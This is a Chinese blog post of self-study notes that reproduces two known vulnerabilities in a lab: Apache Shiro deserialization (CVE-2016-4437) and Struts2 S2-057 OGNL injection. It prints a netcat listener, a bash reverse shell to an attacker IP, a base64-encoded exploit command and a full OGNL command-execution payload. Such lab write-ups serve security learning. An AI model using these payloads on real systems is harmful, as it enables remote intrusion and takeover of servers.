网络安全自学篇-中间件漏洞(七)

一个网络安全学习爱好者在学习过程中记录下的笔记,希望在CSDN能和大家一起成长,学习,分享,进步,下面分享的是中间件漏洞系列,希望对入门网安的朋友们有所帮助,大神有兴趣看看即可,勿喷感谢,同时也欢迎各位师傅私聊交流学习。文章有所参考,也感谢教授我网安知识的师父们,感谢出生在这个互联网时代,知识触手可及。
中间件漏洞系列目录
网络安全自学篇-中间件漏洞(一)
网络安全自学篇-中间件漏洞(二)
网络安全自学篇-中间件漏洞(三)
网络安全自学篇-中间件漏洞(四)
网络安全自学篇-中间件漏洞(五)
网络安全自学篇-中间件漏洞(六)

Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

Apache Shiro是一个功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理。使用Shiro易于理解的API,您可以快速、轻松地保护任何应用程序—从最小的移动应用程序到最大的web和企业应用程序。
Vul:Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
在这里插入图片描述
nc监听4444端口

nc -l -p 4444

反弹shell命令

bash -i >& /dev/tcp/192.168.222.131/4444 0>&1

bash是一Linux的一个比较常见的shell,于此类似的还有sh,zsh,-i则表示产生交互式的shell,/dev/tcp|udp/AttackerIP/NCListeningPort
/dev/tcp/这个文件本身不存在,但是如果攻击者监听端口时对这个文件进行读写,则能实现与受害者之间的socket通信
在这里插入图片描述
例如我们输出字符串到这个文件中
在这里插入图片描述
攻击者可以收到:
在这里插入图片描述
因此我们使用bash -i来将shell反弹到攻击机上,使用>&表示将错误和正确的输出都输入交互shell中,执行攻击者输入的命令并将结果显示给攻击者,借助http://www.jackson-t.ca/runtime-exec-payloads.html对反弹shell命令进行编码
在这里插入图片描述
nc监听4444端口:nc -lvp 4444
漏洞EXP:https://github.com/insightglacier/Shiro_exploit
命令:

python shiro_exploit.py -t 3 -u http://192.168.222.130:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMi4xMzEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"

在这里插入图片描述
反弹shell成功:
在这里插入图片描述

Apache Struts2 S2-057远程代码执行

对象导航图语言(Object Graph Navigation Language),简称OGNL,是应用于Java中的一个开源的表达式语言(Expression Language),它被集成在Struts2等框架中,作用是对数据进行访问,它拥有类型转换、访问对象方法、操作集合对象等功能。由于OGNL能够创建或更改可执行代码,因此能够为使用它的任何框架引入严重的安全漏洞。多个Apache Struts 2版本容易受到OGNL安全漏洞的攻击。截至2017年10月,Struts 2的推荐版本为2.5.13。用户被要求升级到最新版本,因为旧版本已经记录了安全漏洞 - 例如,Struts 2版本2.3.5到2.3.31和2.5到2.5.10,允许远程攻击者执行任意代码。
访问:http://ip:port/struts2-showcase/$%7B11*11%7D/actionChain1.action测试OGNL表达式${11*11}:

在这里插入图片描述
使用S2-057原理分析与复现过程(POC)中给出的执行任意命令的OGNL表达式:

${
    
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('whoami')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

进行一次url编码
在这里插入图片描述
执行成功
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_44047795/article/details/106951234